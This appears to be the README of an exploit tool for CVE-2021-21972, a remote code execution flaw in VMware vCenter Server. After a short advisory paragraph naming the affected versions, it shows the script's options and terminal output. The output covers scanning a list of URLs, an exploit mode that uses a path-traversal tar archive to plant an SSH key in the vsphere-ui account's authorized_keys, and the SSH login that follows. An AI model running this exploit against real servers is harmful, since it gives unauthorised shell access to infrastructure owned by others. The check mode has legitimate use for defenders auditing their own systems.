The vSphere Client (HTML5) contains a remote code execution vulnerability in a vCenter Server plugin. A malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).
% python3 CVE-2021-21972.py -h
Usage: CVE-2021-21972.py [options]
Options:
-h, --help show this help message and exit
-i FILE file containing list of urls
-u URL, --url=URL https://1.1.1.1
-f FILENAME
-n NOOFTHREADS
-e, --exploit
-c, --check
%
% python3 /tmp/CVE_2021_21972.py -i /tmp/urls.txt -n 8 -e
[*] Creating tmp.tar containing ../../../../../home/vsphere-ui/.ssh/authorized_keys
[+] https://172.16.164.1 SUCCESS
Login using 'ssh -i id_rsa vsphere-ui@x.x.x.x'
% python3 /tmp/CVE_2021_21972.py -i /tmp/urls.txt -n 8 -c
[+] https://172.16.164.1 is vulnerable to CVE-2021-21972
% python3 /tmp/CVE_2021_21972.py -u https://172.16.164.1 -n 8 -c
[+] https://172.16.164.1 is vulnerable to CVE-2021-21972